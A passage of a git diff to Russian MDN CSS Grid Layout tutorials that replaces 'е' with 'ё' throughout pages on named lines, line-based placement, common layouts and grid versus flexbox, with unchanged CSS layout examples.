можете выбрать любые имена, но если вы добавляете <code>-start</code> и <code>-end</code> к линиям вокруг области, как в приведенном выше примере, то сетка создаст вам именованную область основного используемого имени. Возьмем приведенный выше пример, у меня есть <code>content-start</code> и <code>content-end</code> как для строк, так и для столбцов. Это означает, что будет создана также область сетки с именем <code>content</code>, которую можно по своему усмотрению.</p> +<p>Хотя вы можете выбрать любые имена, но если вы добавляете <code>-start</code> и <code>-end</code> к линиям вокруг области, как в приведённом выше примере, то сетка создаст вам именованную область основного используемого имени. Возьмём приведённый выше пример, у меня есть <code>content-start</code> и <code>content-end</code> как для строк, так и для столбцов. Это означает, что будет создана также область сетки с именем <code>content</code>, которую можно по своему усмотрению.</p> <div id="implicit_areas_from_lines"> <div class="hidden"> @@ -131,7 +131,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines <h2 id="Неявные_линии_сетки_из_именованных_областей">Неявные линии сетки из именованных областей</h2> -<p>Мы видели, как с помощью именованных линий можно создать именованную область. Это работает и наоборот. Именованные области создают именованные строки, которые можно использовать для размещения элементов. Если мы возьмем макет, созданный в руководстве по областям шаблона сетки, мы можем использовать линии, созданные нашими областями, чтобы увидеть, как это работает.</p> +<p>Мы видели, как с помощью именованных линий можно создать именованную область. Это работает и наоборот. Именованные области создают именованные строки, которые можно использовать для размещения элементов. Если мы возьмём макет, созданный в руководстве по областям шаблона сетки, мы можем использовать линии, созданные нашими областями, чтобы увидеть, как это работает.</p> <p>В этом примере я добавил дополнительный div с классом <code>overlay</code>. Мы назвали области, созданные с помощью свойства grid-area, а затем макет, созданный в grid-template-areas. Именованные области:</p> @@ -232,7 +232,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines <p>Учитывая, что у нас есть возможность позиционировать создание линий из именованных областей и областей из именованных линий, стоит потратить время на планирование стратегии именования, когда вы начинаете создавать свой макет. Выбирайте имена, которые будут иметь смысл для вас и вашей команды, это облегчит использование созданных вами макетов.</p> -<h2 id="Определение_одноименных_линий_при_помощи_функции_repeat">Определение одноименных линий при помощи функции repeat()</h2> +<h2 id="Определение_одноимённых_линий_при_помощи_функции_repeat">Определение одноимённых линий при помощи функции repeat()</h2> <p>Если вы хотите дать всем линиям в вашей сетке уникальное имя, то вам нужно будет написать длинное определение трека, а не использовать синтаксис повтора, так как вам нужно добавить имя в квадратных скобках при определении треков. Если вы используете синтаксис повтора, то в конечном итоге получите несколько строк с одинаковым именем, однако это тоже может быть очень полезно.</p> @@ -272,7 +272,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines } </pre> -<p>Вы можете использовать ключевое слово <code>span</code>. Следующий элемент будет расположен начиная с седьмой линии и займет три линии.</p> +<p>Вы можете использовать ключевое слово <code>span</code>. Следующий элемент будет расположен начиная с седьмой линии и займёт три линии.</p> <pre class="brush: css">.item2 { grid-column: col-start 7 / span 3; @@ -293,14 +293,14 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines <p><img alt="The 12 column grid with items placed. The Grid Highlighter shows the position of the lines." src="https://mdn.mozillademos.org/files/14695/5_named_lines1.png" style="height: 156px; width: 1958px;"></p> -<p>Синтаксис повтора также может принимать трек-лист , это не просто должен быть один размер трека, который повторяется. Приведенный ниже код создаст сетку из восьми дорожек с более узким столбцом ширины 1fr с именем col1-start и более широким столбцом 3fr с именем col2-start.</p> +<p>Синтаксис повтора также может принимать трек-лист , это не просто должен быть один размер трека, который повторяется. Приведённый ниже код создаст сетку из восьми дорожек с более узким столбцом ширины 1fr с именем col1-start и более широким столбцом 3fr с именем col2-start.</p> <pre class="brush: css">.wrapper { grid-template-columns: repeat(4, [col1-start] 1fr [col2-start] 3fr); } </pre> -<p>Если Ваш повторяющийся синтаксис помещает две строки рядом друг с другом, то они будут объединены и создадут тот же результат, что и присвоение строке нескольких имен в неповторяющемся определении трека. Следующее определение создает четыре трека 1fr, каждый из которых имеет начальную и конечную линии.</p> +<p>Если Ваш повторяющийся синтаксис помещает две строки рядом друг с другом, то они будут объединены и создадут тот же результат, что и присвоение строке нескольких имён в неповторяющемся определении трека. Следующее определение создаёт четыре трека 1fr, каждый из которых имеет начальную и конечную линии.</p> <pre class="brush: css">.wrapper { grid-template-columns: repeat(4, [col-start] 1fr [col-end] ); @@ -314,7 +314,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines } </pre> -<p>Если вы использовали список треков, то вы можете использовать ключевое слово <code>span</code> не только для охвата ряда строк, но и для охвата ряда строк с определенным именем..</p> +<p>Если вы использовали список треков, то вы можете использовать ключевое слово <code>span</code> не только для охвата ряда строк, но и для охвата ряда строк с определённым именем..</p> <div id="span_line_number"> <div class="hidden"> @@ -360,7 +360,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines <p>{{ EmbedLiveSample('span_line_number', '500', '330') }}</p> </div> -<p>За последние три руководства вы обнаружили, что существует множество различных способов размещения элементов с помощью сетки. На первый взгляд это может показаться чрезмерно сложным, но помните, что вам не нужно использовать их все. На практике я нахожу, что для простых макетов хорошо работает использование именованных областей шаблонов, это дает хорошее визуальное представление о том, как выглядит ваш макет, и возможность легко перемещать элементы по сетке.</p> +<p>За последние три руководства вы обнаружили, что существует множество различных способов размещения элементов с помощью сетки. На первый взгляд это может показаться чрезмерно сложным, но помните, что вам не нужно использовать их все. На практике я нахожу, что для простых макетов хорошо работает использование именованных областей шаблонов, это даёт хорошее визуальное представление о том, как выглядит ваш макет, и возможность легко перемещать элементы по сетке.</p> <p>Если вы работаете со строгим макетом из нескольких столбцов, например, демонстрация именованных строк в последней части этого руководства работает очень хорошо. Если вы рассматриваете сеточные системы, в таких фреймворках, как Foundation или Bootstrap, которые основаны на сетке из 12 столбцов. Затем фреймворк импортирует код для выполнения всех вычислений, чтобы убедиться, что столбцы складываются до 100%. С помощью Grid layout единственный код, который нам нужен для нашего грид-фреймворка, - это:</p> @@ -372,7 +372,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines } </pre> -<p>Затем мы можем использовать этот фреймворк для верстки нашей страницы. Например, чтобы создать макет из трех столбцов с верхним и нижним колонтитулами, у меня может быть следующая разметка.</p> +<p>Затем мы можем использовать этот фреймворк для вёрстки нашей страницы. Например, чтобы создать макет из трёх столбцов с верхним и нижним колонтитулами, у меня может быть следующая разметка.</p> <div class="hidden"> <pre class="brush: css">* {box-sizing: border-box;} @@ -432,7 +432,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines <p><img alt="The layout with the grid highlighted." src="https://mdn.mozillademos.org/files/14697/5_named_lines2.png" style="height: 378px; width: 1958px;"></p> </div> -<p>Это все, что мне нужно. Мне не нужно делать никаких вычислений, сетка автоматически удалила мою 10- пиксельную дорожку желоба, прежде чем назначить пространство для треков столбцов 1fr. Когда вы начнете создавать свои собственные макеты, вы обнаружите, что синтаксис становится более знакомым, и вы выбираете способы, которые лучше всего подходят для вас, а также тип проектов,которые вам нравятся. Попробуйте построить несколько общих шаблонов с помощью этих различных методов, и вскоре вы найдете свой самый продуктивный способ работы. В следующем руководстве мы рассмотрим, как сетка может размещать элементы для нас - без необходимости использовать свойства размещения вообще!</p> +<p>Это все, что мне нужно. Мне не нужно делать никаких вычислений, сетка автоматически удалила мою 10- пиксельную дорожку желоба, прежде чем назначить пространство для треков столбцов 1fr. Когда вы начнёте создавать свои собственные макеты, вы обнаружите, что синтаксис становится более знакомым, и вы выбираете способы, которые лучше всего подходят для вас, а также тип проектов,которые вам нравятся. Попробуйте построить несколько общих шаблонов с помощью этих различных методов, и вскоре вы найдёте свой самый продуктивный способ работы. В следующем руководстве мы рассмотрим, как сетка может размещать элементы для нас - без необходимости использовать свойства размещения вообще!</p> <section class="Quick_links" id="Quick_Links"> <ol> diff --git a/files/ru/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html b/files/ru/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html index e2086dee05..35feac5051 100644 --- a/files/ru/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html +++ b/files/ru/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html @@ -13,13 +13,13 @@ original_slug: >- --- <p>В статье, касавшейся <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">основных понятий позиционирования элементов с помощью гридов</a>, мы кратенько рассмотрели, как располагать элементы в гриде, используя номера линий. Теперь давайте детально исследуем то, как работает эта фундаментальная часть спецификации.</p> -<p>Собственно, начать квест по гридам со знакомства с пронумерованными линиями - логично, потому что в ситуации, когда Вы работаете с гридами, пронумерованные линии у Вас есть <strong>всегда</strong>. Линии нумеруются и для колонок, и для строк, отсчет начинается с 1. Нужно заметить, что грид индексируется в соответствии с режимом написания (writing mode) документа. В языках с написанием слева направо, таких как русский, например, линия 1 - самая левая линия грида. Если написание справа налево, то линия 1 будет, соответственно, самой правой линией в гриде. По ходу изучения недр мы детально узнаем, как гриды взаимодействуют с режимами написания, поэтому не исчезайте, впереди много интересного.</p> +<p>Собственно, начать квест по гридам со знакомства с пронумерованными линиями - логично, потому что в ситуации, когда Вы работаете с гридами, пронумерованные линии у Вас есть <strong>всегда</strong>. Линии нумеруются и для колонок, и для строк, отсчёт начинается с 1. Нужно заметить, что грид индексируется в соответствии с режимом написания (writing mode) документа. В языках с написанием слева направо, таких как русский, например, линия 1 - самая левая линия грида. Если написание справа налево, то линия 1 будет, соответственно, самой правой линией в гриде. По ходу изучения недр мы детально узнаем, как гриды взаимодействуют с режимами написания, поэтому не исчезайте, впереди много интересного.</p> <h2 id="Базовый_пример">Базовый пример</h2> -<p>В качестве крайне простого примера давайте возьмем грид с тремя треками-колонками и тремя треками-строками. Такой грид дает нам по 4 линии для каждого направления.</p> +<p>В качестве крайне простого примера давайте возьмём грид с тремя треками-колонками и тремя треками-строками. Такой грид даёт нам по 4 линии для каждого направления.</p> -<p>Внутри нашего грид-контейнера у нас есть четыре дочерних элемента. Если мы не размещаем их явным образом, эти элементы будут расположены в гриде в соответствии с правилами авторазмещения, то есть, по одному элементу - в каждой из четырех первых ячеек. Если Вы воспользуетесь <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox Grid Highlighter</a> , то увидите, как грид инициирует колонки и строки.</p> +<p>Внутри нашего грид-контейнера у нас есть четыре дочерних элемента. Если мы не размещаем их явным образом, эти элементы будут расположены в гриде в соответствии с правилами авторазмещения, то есть, по одному элементу - в каждой из четырёх первых ячеек. Если Вы воспользуетесь <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox Grid Highlighter</a> , то увидите, как грид инициирует колонки и строки.</p> <p><img alt="Our Grid highlighted in DevTools" src="https://mdn.mozillademos.org/files/14663/3_hilighted_grid.png" style="height: 296px; width: 900px;"></p> @@ -61,7 +61,7 @@ original_slug: >- <h2 id="Позиционирование_элементов_по_номерам_линий">Позиционирование элементов по номерам линий</h2> -<p>Мы можем воспользоваться размещением по линиям (line-based placement), чтобы расположить элементы на гриде. Например, нам нужно, чтобы первый элемент начинался от левого края и занимал один трек-колонку. Пусть он также начинается с первой строчной линии, то есть, от верхнего края грида, и занимает пространство до четвертой строчной линии.</p> +<p>Мы можем воспользоваться размещением по линиям (line-based placement), чтобы расположить элементы на гриде. Например, нам нужно, чтобы первый элемент начинался от левого края и занимал один трек-колонку. Пусть он также начинается с первой строчной линии, то есть, от верхнего края грида, и занимает пространство до четвёртой строчной линии.</p> <div id="Line_Number"> <pre class="brush: css notranslate">.box1 { @@ -244,7 +244,7 @@ original_slug: >- <p>{{ EmbedLiveSample('End_Lines', '300', '330') }}</p> </div> -<p>Поэтому, если мы хотим, чтобы элементы занимали только один трек, наша сокращенная запись будет выглядеть вот так, без слеша и без второго значения:</p> +<p>Поэтому, если мы хотим, чтобы элементы занимали только один трек, наша сокращённая запись будет выглядеть вот так, без слеша и без второго значения:</p> <div id="New_Shorthand"> <div class="hidden"> @@ -300,7 +300,7 @@ original_slug: >- <h2 id="Свойство_grid-area">Свойство <code>grid-area</code></h2> -<p>Мы можем пойти еще дальше и определить целую область с помощью одного единственного свойства – {{cssxref("grid-area")}}. Порядок свойств для грид-области следующий:</p> +<p>Мы можем пойти ещё дальше и определить целую область с помощью одного единственного свойства – {{cssxref("grid-area")}}. Порядок свойств для грид-области следующий:</p> <ul> <li>grid-row-start</li> @@ -355,7 +355,7 @@ original_slug: >- <p>{{ EmbedLiveSample('The_grid-area_property', '300', '330') }}</p> -<p>Порядок значений для <code>grid-area</code> может показаться немного странным, он противоположен тому порядку, в котором мы, например, записываем значения для сокращенных свойств margin и padding. Но сделано это потому, что грид работает с направлениями относительно потока, определенными в спецификации CSS Writing Modes. В дальнейшем мы рассмотрим, как гриды взаимодействуют с режимами написания (writing modes), но пока давайте примем за данность, что мы имеем дело с концепцией четырех направлений относительно потока:</p> +<p>Порядок значений для <code>grid-area</code> может показаться немного странным, он противоположен тому порядку, в котором мы, например, записываем значения для сокращённых свойств margin и padding. Но сделано это потому, что грид работает с направлениями относительно потока, определёнными в спецификации CSS Writing Modes. В дальнейшем мы рассмотрим, как гриды взаимодействуют с режимами написания (writing modes), но пока давайте примем за данность, что мы имеем дело с концепцией четырёх направлений относительно потока:</p> <ul> <li>block-start (начало блока)</li> @@ -366,11 +366,11 @@ original_slug: >- <p>Мы работаем с русским, языком с написанием слева направо. Начало нашего блока (block-start) - верхняя строчная линия грид-контейнера, конец блока (block-end) - последняя строчная линия контейнера. Начало строки (inline-start) - самая левая колоночная линия, поскольку начало строки - это всегда точка, с которой начинается написание текста в заданном режиме написания. Конец строки (inline-end) - последняя колоночная линия грида.</p> -<p>Когда мы задаем нашу грид-область с помощью свойства <code>grid-area</code> , мы сначала определяем обе начальные линии <code>block-start</code> и <code>inline-start</code>, а затем обе конечные линии <code>block-end</code> и <code>inline-end</code>. Поскольку мы давно работаем с физическими свойствами top, right, bottom и left, поначалу это кажется непривычным, но вполне осмысленно, если осознать, что относительно режима написания веб-сайты - многонаправленные структуры.</p> +<p>Когда мы задаём нашу грид-область с помощью свойства <code>grid-area</code> , мы сначала определяем обе начальные линии <code>block-start</code> и <code>inline-start</code>, а затем обе конечные линии <code>block-end</code> и <code>inline-end</code>. Поскольку мы давно работаем с физическими свойствами top, right, bottom и left, поначалу это кажется непривычным, но вполне осмысленно, если осознать, что относительно режима написания веб-сайты - многонаправленные структуры.</p> <h2 id="Считая_с_конца">Считая с конца</h2> -<p>Мы также можем отсчитывать грид-линии с конца, то есть с последней (для русского языка - самой правой) колоночной и последней (самой нижней) строчной линий. Индекс этих линий будет <code>-1</code>, а линий непосредственно перед ними <code>-2,</code> и так далее. Нужно помнить, что под последней линией понимается последняя линия явного грида (<em>explicit grid)</em>, то есть грида, определенного с помощью <code>grid-template-columns</code> и<code>grid-template-rows.</code> Любые линии строк и колонок, добавленные неявным гридом (<em>implicit grid)</em> не считаются.</p> +<p>Мы также можем отсчитывать грид-линии с конца, то есть с последней (для русского языка - самой правой) колоночной и последней (самой нижней) строчной линий. Индекс этих линий будет <code>-1</code>, а линий непосредственно перед ними <code>-2,</code> и так далее. Нужно помнить, что под последней линией понимается последняя линия явного грида (<em>explicit grid)</em>, то есть грида, определённого с помощью <code>grid-template-columns</code> и<code>grid-template-rows.</code> Любые линии строк и колонок, добавленные неявным гридом (<em>implicit grid)</em> не считаются.</p> <p>В примере ниже мы "перевернули" определение нашего грида, при размещении элементов задавая линии с конца, то есть, от правого и нижнего краев.</p> @@ -504,9 +504,9 @@ original_slug: >- <p>{{ EmbedLiveSample('Gutters_or_Alleys', '300', '350') }}</p> -<h3 id="Сокращенная_запись_для_грид-зазоров">Сокращенная запись для грид-зазоров</h3> +<h3 id="Сокращённая_запись_для_грид-зазоров">Сокращённая запись для грид-зазоров</h3> -<p>Оба свойства также можно записать с помощью свойства-сокращения {{cssxref("grid-gap")}}. Если задать только одно значение, то оно определит размер зазоров и между колонками, и между строками. Если мы задаем два значения, то первое используется для <code>grid-row-gap</code> , а второе - для <code>grid-column-gap</code>.</p> +<p>Оба свойства также можно записать с помощью свойства-сокращения {{cssxref("grid-gap")}}. Если задать только одно значение, то оно определит размер зазоров и между колонками, и между строками. Если мы задаём два значения, то первое используется для <code>grid-row-gap</code> , а второе - для <code>grid-column-gap</code>.</p> <pre class="brush: css notranslate">.wrapper { display: grid; @@ -516,7 +516,7 @@ original_slug: >- } </pre> -<p>В терминах расположения элементов по грид-линиям (line-based positioning) зазоры ведут себя так, как если бы самой линии была добавлена толщина. Все, что должно было начинаться от линии, начинается от нее на расстоянии зазора, и Вы не можете адресовать зазор напрямую или поместить в него что-нибудь. Если Вам нужны зазоры, которые ведут себя, как обыкновенные треки, что же - определите трек, а не зазор.</p> +<p>В терминах расположения элементов по грид-линиям (line-based positioning) зазоры ведут себя так, как если бы самой линии была добавлена толщина. Все, что должно было начинаться от линии, начинается от неё на расстоянии зазора, и Вы не можете адресовать зазор напрямую или поместить в него что-нибудь. Если Вам нужны зазоры, которые ведут себя, как обыкновенные треки, что же - определите трек, а не зазор.</p> <h2 id="Использование_ключевого_слова_span">Использование ключевого слова <code>span</code> </h2> @@ -572,7 +572,7 @@ original_slug: >- <p>{{ EmbedLiveSample('Using_the_span_keyword', '300', '330') }}</p> -<p>Ключевое слово <code>span</code> также можно использовать в качестве значения <code>grid-row-start</code>/<code>grid-row-end</code> и<code>grid-column-start/grid-column-end</code>. Два примера ниже создают одну и ту же грид-область. В первом примере мы задаем начальную строчную линию, а после говорим свойству, отвечающему за конечную линию: эй, мы хотим занять под этот элемент три линии. В итоге, грид-область начинается с первой линии и занимает пространство до 4-ой.</p> +<p>Ключевое слово <code>span</code> также можно использовать в качестве значения <code>grid-row-start</code>/<code>grid-row-end</code> и<code>grid-column-start/grid-column-end</code>. Два примера ниже создают одну и ту же грид-область. В первом примере мы задаём начальную строчную линию, а после говорим свойству, отвечающему за конечную линию: эй, мы хотим занять под этот элемент три линии. В итоге, грид-область начинается с первой линии и занимает пространство до 4-ой.</p> <pre class="notranslate">.box1 { grid-column-start: 1; @@ -590,7 +590,7 @@ original_slug: >- } </pre> -<p>Чтобы лучше освоиться с размещением элементов по грид-линиям, попробуйте собрать несколько распространенных макетов, располагая элементы на гридах с различным количеством колонок. Помните, что если вы не размещаете все Ваши элементы, оставшиеся располагаются в соответствии с правилами авторазмещения. В результате может получиться как раз тот макет, который Вам нужен, но не факт, и если что-то пошло не так, проверьте, определили ли Вы позицию для проблемного элемента.</p> +<p>Чтобы лучше освоиться с размещением элементов по грид-линиям, попробуйте собрать несколько распространённых макетов, располагая элементы на гридах с различным количеством колонок. Помните, что если вы не размещаете все Ваши элементы, оставшиеся располагаются в соответствии с правилами авторазмещения. В результате может получиться как раз тот макет, который Вам нужен, но не факт, и если что-то пошло не так, проверьте, определили ли Вы позицию для проблемного элемента.</p> <p>Также помните, что элементы на гриде могут перекрывать друг друга, если Вы намеренно разместили их так, чтобы они друг друга перекрывали. Подобное поведение позволяет получить интересные эффекты, но, если Вы некорректно задали начальные и конечные линии, результат может неприятно Вас удивить. <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox Grid Highlighter</a> будет крайне полезен в процессе обучения, особенно, когда Вы строите сложные гриды.</p> diff --git a/files/ru/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html b/files/ru/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html index c452871664..625700ca08 100644 --- a/files/ru/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html +++ b/files/ru/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_ <h2 id="Адаптивный_1-3_колоночный_макет_с_использованием_grid-template-areas"><font face="Liberation Sans, sans-serif"><font size="4">Адаптивный 1-3 колоночный макет с использованием</font></font> <code>grid-template-areas</code></h2> -<p>Многие веб-сайты являются разновидностью такого типа макета, с основным содержанием, боковыми панелями, хедером и футером. В адаптивном дизайне вы можете отобразить макет в виде одного столбца, добавив боковую панель в определенном месте, а затем ввести макет из трех столбцов для более широких экранов.</p> +<p>Многие веб-сайты являются разновидностью такого типа макета, с основным содержанием, боковыми панелями, хедером и футером. В адаптивном дизайне вы можете отобразить макет в виде одного столбца, добавив боковую панель в определённом месте, а затем ввести макет из трёх столбцов для более широких экранов.</p> <p><img alt="Image of the three different layouts created by redefining our grid at two breakpoints." src="https://mdn.mozillademos.org/files/14749/11-responsive-areas.png"></p> @@ -114,7 +114,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_ } </pre> -<p>Вы можете видеть, как макет принимает форму в значении {{cssxref("grid-template-areas")}}. Заголовок охватывает две дорожки столбцов, как и навигационная система. В треке третьего ряда у нас есть боковая панель рядом с содержимым. В четвертой строке я решил разместить свой рекламный контент – так он появляется под боковой панелью, а затем футер, рядом с ним под контентом. Я использую flexbox в навигации, чтобы отобразить его в разнесенном ряду.</p> +<p>Вы можете видеть, как макет принимает форму в значении {{cssxref("grid-template-areas")}}. Заголовок охватывает две дорожки столбцов, как и навигационная система. В треке третьего ряда у нас есть боковая панель рядом с содержимым. В четвёртой строке я решил разместить свой рекламный контент – так он появляется под боковой панелью, а затем футер, рядом с ним под контентом. Я использую flexbox в навигации, чтобы отобразить его в разнесённом ряду.</p> <p>Теперь я могу добавить конечные точки в наш 3-х колоночный макет.</p> @@ -133,7 +133,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_ } </pre> -<p>Трехколоночный макет имеет две боковые колонки размером <code>1fr</code> и среднюю колонку, размером <code>4fr</code> . Это означает, что доступное пространство в контейнере разделено на 6 ячеек и распределено пропорционально нашему макету – по одной части к боковым колонкам и по 4 части к центру.</p> +<p>Трёхколоночный макет имеет две боковые колонки размером <code>1fr</code> и среднюю колонку, размером <code>4fr</code> . Это означает, что доступное пространство в контейнере разделено на 6 ячеек и распределено пропорционально нашему макету – по одной части к боковым колонкам и по 4 части к центру.</p> <p>В этом макете я показываю навигацию в левой колонке, рядом с содержимым. В правой колонке у нас есть боковая панель, а под ней блок рекламы (ad). Футер теперь охватывает всю нижнюю часть макета. Затем я использую flexbox для отображения навигации в виде столбца.</p> @@ -273,7 +273,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_ } </pre> -<p>В следующей контрольной точке мы хотим перейти к двухколоночному макету. Наш заголовок и навигация по-прежнему охватывают всю сетку, поэтому нам не нужно указывать для них какое-либо позиционирование. Боковая панель начинается с первой строки столбца с именем col-start, охватывающей 3 строки. Он идет после строки 3, так как заголовок и навигация находятся в первых двух дорожках строки.</p> +<p>В следующей контрольной точке мы хотим перейти к двухколоночному макету. Наш заголовок и навигация по-прежнему охватывают всю сетку, поэтому нам не нужно указывать для них какое-либо позиционирование. Боковая панель начинается с первой строки столбца с именем col-start, охватывающей 3 строки. Он идёт после строки 3, так как заголовок и навигация находятся в первых двух дорожках строки.</p> <p>Панель объявлений находится ниже боковой панели, поэтому начинается с строки сетки 4. Затем у нас есть основное содержимое и футер, начинающийся с col-start 4 и охватывающий 9 треков, ведущих их к концу сетки.</p> @@ -297,7 +297,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_ } </pre> -<p>Наконец, мы переходим к трехколоночной версии этого макета. Заголовок продолжает распространяться прямо по сетке, но теперь навигация перемещается вниз, чтобы стать первой боковой панелью с основным содержимым, а затем боковой панелью рядом с ней. Футер теперь также охватывает весь макет.</p> +<p>Наконец, мы переходим к трёхколоночной версии этого макета. Заголовок продолжает распространяться прямо по сетке, но теперь навигация перемещается вниз, чтобы стать первой боковой панелью с основным содержимым, а затем боковой панелью рядом с ней. Футер теперь также охватывает весь макет.</p> <pre class="brush: css">@media (min-width: 700px) { .main-nav { @@ -431,7 +431,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_ <p>{{ EmbedLiveSample('layout_4', '800', '900') }}</p> </div> -<p>Теперь все это выглядит более завершенным. Однако иногда у нас есть эти элементы, которые содержат больше контента, чем другие. Было бы неплохо, чтобы они охватывали два трека, и тогда они не будут такими высокими. У меня есть класс <code>wide</code> для большого элемента, и я добавляю правило {{cssxref("grid-column-end")}} со значением <code>span 2</code>. Теперь, когда grid столкнется с этим элементом, он назначит ему два трека. В некоторых точках это означает, что мы получим разрыв в сетке – там, где нет места для размещения двухтрекового элемента.</p> +<p>Теперь все это выглядит более завершённым. Однако иногда у нас есть эти элементы, которые содержат больше контента, чем другие. Было бы неплохо, чтобы они охватывали два трека, и тогда они не будут такими высокими. У меня есть класс <code>wide</code> для большого элемента, и я добавляю правило {{cssxref("grid-column-end")}} со значением <code>span 2</code>. Теперь, когда grid столкнётся с этим элементом, он назначит ему два трека. В некоторых точках это означает, что мы получим разрыв в сетке – там, где нет места для размещения двухтрекового элемента.</p> <p><img alt="The layout has gaps as there is not space to layout a two track item." src="https://mdn.mozillademos.org/files/14751/11-grid-auto-flow-sparse.png" style="height: 812px; width: 800px;"></p> @@ -522,7 +522,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_ <p>{{ EmbedLiveSample('layout_5', '800', '900') }}</p> -<p>Этот метод использования автоматического размещения с некоторыми правилами, применяемыми к определенным элементам, очень полезен и может помочь вам с контентом, который выводится CMS, например, где у вас есть повторяющиеся элементы и, возможно, вы можете добавить класс к определенным элементам, когда они отображаются в HTML.</p> +<p>Этот метод использования автоматического размещения с некоторыми правилами, применяемыми к определённым элементам, очень полезен и может помочь вам с контентом, который выводится CMS, например, где у вас есть повторяющиеся элементы и, возможно, вы можете добавить класс к определённым элементам, когда они отображаются в HTML.</p> </div> <h2 id="Дальнейшие_исследования">Дальнейшие исследования</h2> diff --git a/files/ru/web/css/css_grid_layout/relationship_of_grid_layout/index.html b/files/ru/web/css/css_grid_layout/relationship_of_grid_layout/index.html index db89d68fae..c479b58054 100644 --- a/files/ru/web/css/css_grid_layout/relationship_of_grid_layout/index.html +++ b/files/ru/web/css/css_grid_layout/relationship_of_grid_layout/index.html @@ -18,7 +18,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <p>В пером примере мы воспользуемся flexbox для того, чтобы разместить несколько блоков. Предположим, что у нас есть пять дочерних элементов в контейнере, зададим им значения flex-свойств таким образом, чтобы их размер увеличивался и уменьшался, начиная с базового в 200px.</p> -<p>Также установим свойство {{cssxref("flex-wrap")}} в значение <code>wrap</code> . Это приведет к тому, что если свободного пространства в нашем контейнере будет не хватать для размещения элемента в 200px, наши элементы спокойно перейдут на новую строку. </p> +<p>Также установим свойство {{cssxref("flex-wrap")}} в значение <code>wrap</code> . Это приведёт к тому, что если свободного пространства в нашем контейнере будет не хватать для размещения элемента в 200px, наши элементы спокойно перейдут на новую строку. </p> <div id="onedtwod"> <div class="hidden"> @@ -67,7 +67,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <h3 id="Тот_же_макет_но_с_CSS_гридами">Тот же макет, но с CSS гридами</h3> -<p>В примере ниже мы создаем тот же самый макет, но используя гриды. На этот раз у нас три трека-колонки шириной в <code>1fr</code> . И при этом нам не требуется задавать какие-либо свойства дочерним элементам, потому что они самостоятельно занимают по одной ячейке созданного грида. Как видите, наши элементы лежат в жесткой сетке и выравниваются и по строке, и по колонке. Поскольку у нас пять элементов, в результате мы получаем пустую ячейку в конце второй строки. </p> +<p>В примере ниже мы создаём тот же самый макет, но используя гриды. На этот раз у нас три трека-колонки шириной в <code>1fr</code> . И при этом нам не требуется задавать какие-либо свойства дочерним элементам, потому что они самостоятельно занимают по одной ячейке созданного грида. Как видите, наши элементы лежат в жёсткой сетке и выравниваются и по строке, и по колонке. Поскольку у нас пять элементов, в результате мы получаем пустую ячейку в конце второй строки. </p> <div class="Two_Dimensional_With_Grid"> <div class="hidden"> @@ -116,9 +116,9 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <h3 id="Что_важнее_контент_или_макет">Что важнее: контент или макет?</h3> -<p>В дополнение к различию между позиционированию в одном направлении и позиционированию в двух направлениях, существует еще один способ решить, нужен ли Вам макет, основанный на flexbox или макет, основанный на гридах. Flexbox работает исходя из размеров контента. Идеальный случай использования flexbox - когда у Вас есть набор элементов, а Вам нужно распределить их в контейнере равномерно. Вы позволяете размеру содержимого элементов решить, сколько пространства должен забрать каждый элемент. Если элементы переходят на новую строку, они забирают для себя пространство, исходя из своих размеров и того свободного места, которое есть в <em>этой строке</em>.</p> +<p>В дополнение к различию между позиционированию в одном направлении и позиционированию в двух направлениях, существует ещё один способ решить, нужен ли Вам макет, основанный на flexbox или макет, основанный на гридах. Flexbox работает исходя из размеров контента. Идеальный случай использования flexbox - когда у Вас есть набор элементов, а Вам нужно распределить их в контейнере равномерно. Вы позволяете размеру содержимого элементов решить, сколько пространства должен забрать каждый элемент. Если элементы переходят на новую строку, они забирают для себя пространство, исходя из своих размеров и того свободного места, которое есть в <em>этой строке</em>.</p> -<p>Грид работает, исходя из макета. Когда Вы используете CSS Grid Layout, Вы создаете структуру и затем размещаете элементы именно в этой структуре или же позволяете правилам авто-размещения разместить элементы в грид-ячейках в соответствии с жестко заданной сеткой. Конечно, существует возможность создавать треки, подстраивающиеся под размер контента, но при этом они также меняют саму структуру.</p> +<p>Грид работает, исходя из макета. Когда Вы 